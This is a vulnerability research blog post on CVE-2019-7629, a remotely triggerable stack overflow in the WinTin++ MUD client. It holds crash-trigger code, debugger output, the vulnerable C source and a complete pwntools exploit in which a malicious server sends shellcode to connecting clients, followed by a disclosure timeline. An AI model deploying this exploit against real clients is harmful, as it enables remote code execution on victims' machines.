CVE-2019-7629: RCE in an Open Source MUD Client
A few weeks ago I took the Corelan Advanced class and when I came back, I started poking at some open source projects that I personally use. It was a great exercise and I ultimately ended up with my first CVE. I was a little disappointed I didn’t get to use any of my newly acquired heap exploitation skills, but I was still thrilled to find a remotely exploitable 0-day in an open source project.
What is a MUD?
For those of you who don’t know, MUDs (short for “Multi-User Dungeon” or “Multi-User Domain”) were the precursors to modern day massively multiplayer online RPGs such as World of Warcraft. Most MUDs were 100% text-based and could be played using Telnet or a number of custom clients. Players would log in and create a character, roleplay with other players, slay monsters, and complete quests.
Third-party clients, such as WinTin++ shown above, offer several benefits over the standard Telnet client, such as support for scripting, colored text, macros, and other features that make it more convenient to play the game. WinTin++ in particular has a ton of features and happens to be written in C, so it looked like a great first target for my vulnerability research. Turns out I was right!
Triggering the Stack Overflow
I considered patching the TinTin++/WinTin++ source so I could fuzz it with AFL, but it didn’t turn out to be necessary since I found the first crash after about 5 minutes of manual testing. Here is the Python code used to trigger the crash:
1 2 3 4 5 6 7 8 9 10 11 12 |
import time from pwn import * buf = "" buf += "A" * 60000 while True: l = listen(4000) _ = l.wait_for_connection() time.sleep(2) l.sendline(buf) |
In short, we set up a malicious MUD server on port 4000 and send 60,000 “A”s to WinTin++ after it connects. I’m using a Windows 7 SP1 machine and WinTin++ 2.01.6, which was the latest official version at the time. Here is the crash on the Windows client:
We can see in WinDBG that the crash happened because we tried to dereference 0x41414179, which is obviously an invalid address. We have clearly corrupted something, and using “kb” to print the callstack shows thousands of A’s instead of valid function addresses, so it looks like a basic stack overflow. To help us develop our exploit, let’s use mona.py to look at loaded modules and see if WinTin++ is taking advantage of ASLR and other optional exploit mitigations:
We can see that WinTin++ and the cygwin1.dll library that ships with it were compiled without ASLR, and since DEP is opt-in by default on Windows 7, we won’t have to bypass any exploit mitigations to exploit this vulnerability.
Finding the Offset
Looking at the crash, we can see that the application tries to read from an address that was clobbered by our stack overflow and thus terminates with an illegal memory access error. We have overwritten the saved return pointer at EBP, so we will have control of execution once the vulnerable functions returns.
To get started, we’ll use mona to generate a cyclic pattern so we can calculate the offset of our saved return pointer:
We then replace our buffer of A’s in the payload with the cyclic pattern and trigger the crash again. The register state now looks like this:
1 2 3 4 5 |
eax=21684f5f ebx=00000000 ecx=0026c034 edx=00000028 esi=00000000 edi=00000000 eip=0040a0c4 esp=0025db30 ebp=00265868 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 tt__+0xa0c4: 0040a0c4 8b4038 mov eax,dword ptr [eax+38h] ds:002b:21684f97=???????? |
We find the offset at 33432 using mona’s pattern_offset command:
1 2 3 4 5 6 7 8 9 |
0:000> dd ebp + 0x4 0026586c 4f3d684f 684f2d68 21684f5f 4f26684f 0:000> !py mona pattern_offset 4f3d684f -extended Hold on... [+] Command used: !py C:\Program Files (x86)\Windows Kits\8.0\Debuggers\x86\mona.py pattern_offset 4f3d684f -extended Looking for Oh=O in pattern of 500000 bytes - Pattern Oh=O (0x4f3d684f) found in cyclic pattern at position 33432 |
The Vulnerability
Now that we have the offset of EBP, let’s stop and take a look at the source code to see if we can figure out what is going on that causes the crash in the first place. I used the address of the instruction we are crashing at to locate the function in Binary Ninja. I discovered that the application is crashing in parse.c: do_one_line():
725 726 727 728 729 730 731 732 733 734 735 736 737 738 739 740 741 742 743 744 745 746 747 748 749 750 751 752 753 754 755 756 757 758 759 760 761 762 763 764 765 766 767 768 769 770 771 772 |
void do_one_line(char *line, struct session *ses) { char strip[BUFFER_SIZE]; // BUFFER_SIZE is 32000 push_call("[%s] do_one_line(%s)",ses->name,line); if (HAS_BIT(ses->flags, SES_FLAG_IGNORELINE)) { pop_call(); return; } strip_vt102_codes(line, strip); if (!HAS_BIT(ses->list[LIST_ACTION]->flags, LIST_FLAG_IGNORE)) { check_all_actions(ses, line, strip); } if (!HAS_BIT(ses->list[LIST_PROMPT]->flags, LIST_FLAG_IGNORE)) { check_all_prompts(ses, line, strip); } if (!HAS_BIT(ses->list[LIST_GAG]->flags, LIST_FLAG_IGNORE)) { check_all_gags(ses, line, strip); } if (!HAS_BIT(ses->list[LIST_SUBSTITUTE]->flags, LIST_FLAG_IGNORE)) { check_all_substitutions(ses, line, strip); } if (!HAS_BIT(ses->list[LIST_HIGHLIGHT]->flags, LIST_FLAG_IGNORE)) { check_all_highlights(ses, line, strip); } if (HAS_BIT(ses->flags, SES_FLAG_LOGNEXT)) { logit(ses, line, ses->lognext_file, TRUE); DEL_BIT(ses->flags, SES_FLAG_LOGNEXT); } pop_call(); return; } |
“do_one_line” takes the MUD output (char *line), creates another buffer of 32,000 bytes on the stack, and passes both buffers to “strip_vt102_codes”. The problem here is that *line can be up to 64,000 bytes, as shown in the calling function “process_mud_output”:
361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 |
void process_mud_output(struct session *ses, char *linebuf, int prompt) { char line[STRING_SIZE]; // STRING_SIZE is 64000 push_call("process_mud_output(%p,%p,%d)",ses,linebuf,prompt); ses->check_output = 0; strip_vt102_codes(linebuf, line); check_all_events(ses, SUB_ARG|SUB_SEC, 0, 2, "RECEIVED LINE", linebuf, line); if (prompt) { check_all_events(ses, SUB_ARG|SUB_SEC, 0, 2, "RECEIVED PROMPT", linebuf, line); } if (HAS_BIT(ses->flags, SES_FLAG_COLORPATCH)) { sprintf(line, "%s%s%s", ses->color, linebuf, "\e[0m"); get_color_codes(ses->color, linebuf, ses->color); linebuf = line; } do_one_line(linebuf, ses); /* changes linebuf */ |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
void strip_vt102_codes(char *str, char *buf) { char *pti, *pto; pti = (char *) str; pto = (char *) buf; while (*pti) { while (skip_vt102_codes(pti)) { pti += skip_vt102_codes(pti); } if (*pti) { *pto++ = *pti++; } } *pto = 0; } |
“skip_vt102_codes” strips out VT102 escape codes from the buffer before copying it, which originally caused a lot of problems for me when I was trying to call functions in the bundled cygwin1.dll module, since the base address included valid VT102 codes. Another issue that tripped me up for longer than I would like to admit is that we have to null terminate our buffer to exit the while loop in strip_vt102_codes. This must be done so we don’t start clobbering the stack values being checked in the if (!HAS_BIT) statements in do_one_line and segfault before reaching the end of the function.
Finishing the Exploit
Now that we understand the vulnerability, it’s time to build our exploit. We’re going to send 33432 bytes of junk + our shellcode, followed by an address pointing into our nopsled, followed by a null byte. Fortunately, the base address in the tt++ module starts with a null byte, which takes care of null-terminating our buffer and exiting the strip_vt102_codes loop right when we need to. The final exploit looks like this:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 |
import time from pwn import * # msfvenom -p windows/exec exitfunc=thread cmd=calc.exe -e x86/alpha_mixed -f python shellcode = "" shellcode += "\x89\xe1\xd9\xee\xd9\x71\xf4\x5a\x4a\x4a\x4a\x4a\x4a" shellcode += "\x4a\x4a\x4a\x4a\x4a\x4a\x43\x43\x43\x43\x43\x43\x37" shellcode += "\x52\x59\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41" shellcode += "\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58" shellcode += "\x50\x38\x41\x42\x75\x4a\x49\x59\x6c\x79\x78\x6f\x72" shellcode += "\x67\x70\x53\x30\x63\x30\x63\x50\x6b\x39\x78\x65\x65" shellcode += "\x61\x59\x50\x70\x64\x4c\x4b\x66\x30\x70\x30\x6c\x4b" shellcode += "\x76\x32\x34\x4c\x4c\x4b\x51\x42\x52\x34\x4e\x6b\x50" shellcode += "\x72\x57\x58\x66\x6f\x78\x37\x73\x7a\x64\x66\x55\x61" shellcode += "\x59\x6f\x4c\x6c\x55\x6c\x30\x61\x61\x6c\x76\x62\x36" shellcode += "\x4c\x61\x30\x39\x51\x48\x4f\x46\x6d\x37\x71\x38\x47" shellcode += "\x4d\x32\x48\x72\x32\x72\x56\x37\x6c\x4b\x73\x62\x44" shellcode += "\x50\x4c\x4b\x51\x5a\x75\x6c\x6c\x4b\x52\x6c\x54\x51" shellcode += "\x70\x78\x38\x63\x71\x58\x65\x51\x4b\x61\x42\x71\x6e" shellcode += "\x6b\x36\x39\x37\x50\x36\x61\x38\x53\x6c\x4b\x32\x69" shellcode += "\x76\x78\x79\x73\x74\x7a\x37\x39\x6c\x4b\x34\x74\x6e" shellcode += "\x6b\x65\x51\x38\x56\x74\x71\x39\x6f\x4e\x4c\x4f\x31" shellcode += "\x4a\x6f\x74\x4d\x57\x71\x49\x57\x50\x38\x59\x70\x52" shellcode += "\x55\x5a\x56\x56\x63\x73\x4d\x39\x68\x45\x6b\x33\x4d" shellcode += "\x46\x44\x70\x75\x38\x64\x66\x38\x4e\x6b\x70\x58\x74" shellcode += "\x64\x56\x61\x39\x43\x33\x56\x6c\x4b\x46\x6c\x50\x4b" shellcode += "\x6c\x4b\x62\x78\x37\x6c\x56\x61\x79\x43\x6e\x6b\x44" shellcode += "\x44\x6c\x4b\x76\x61\x6e\x30\x6b\x39\x43\x74\x56\x44" shellcode += "\x56\x44\x71\x4b\x61\x4b\x35\x31\x46\x39\x32\x7a\x72" shellcode += "\x71\x59\x6f\x4b\x50\x63\x6f\x53\x6f\x33\x6a\x4e\x6b" shellcode += "\x57\x62\x6a\x4b\x6c\x4d\x71\x4d\x72\x4a\x76\x61\x6c" shellcode += "\x4d\x4c\x45\x6d\x62\x55\x50\x55\x50\x63\x30\x32\x70" shellcode += "\x33\x58\x74\x71\x4e\x6b\x70\x6f\x4c\x47\x59\x6f\x48" shellcode += "\x55\x4d\x6b\x59\x70\x47\x6d\x74\x6a\x76\x6a\x75\x38" shellcode += "\x59\x36\x6e\x75\x4f\x4d\x4f\x6d\x69\x6f\x6a\x75\x77" shellcode += "\x4c\x57\x76\x71\x6c\x45\x5a\x4b\x30\x39\x6b\x6d\x30" shellcode += "\x42\x55\x64\x45\x6d\x6b\x63\x77\x35\x43\x33\x42\x30" shellcode += "\x6f\x42\x4a\x67\x70\x42\x73\x6b\x4f\x6a\x75\x30\x63" shellcode += "\x73\x51\x50\x6c\x61\x73\x66\x4e\x43\x55\x52\x58\x71" shellcode += "\x75\x53\x30\x41\x41" buf = "" buf += "\x90" * 30000 + shellcode + "\x90" * (33432 - 30000 - len(shellcode)) + "\x04\x4b\x26\x00" while True: l = listen(4444) _ = l.wait_for_connection() time.sleep(2) l.sendline(buf) |
Note, I did not bother to bypass ASLR and DEP–the application did not opt-in to either of them, so it wasn’t necessary on Windows 7. In theory, ASLR should be trivial to bypass as the application saves function addresses and their corresponding arguments at the beginning of each function to provide debugging information in the event of a crash. If you can find the address in the debug stack, you should have all you need to defeat ASLR. DEP is a little trickier since both the tt++.exe and cygwin1.dll modules have null bytes or VT102 code sequences in their base addresses, so building a ROP chain without mangling and prematurely terminating your buffer could prove difficult.
I contacted the developer, who responded immediately and pushed a fix within a matter of hours.
Disclosure Timeline
- 2/5/2019: Vulnerability discovered
- 2/7/2019: Developer contacted
- 2/7/2019: Developer responded and pushed a fix to the dev branch
- 2/7/2019: CVE-2019-7629 assigned
- 2/9/2019: Developer announced official release containing the bugfix
- 2/19/2019: Vulnerability publicly disclosed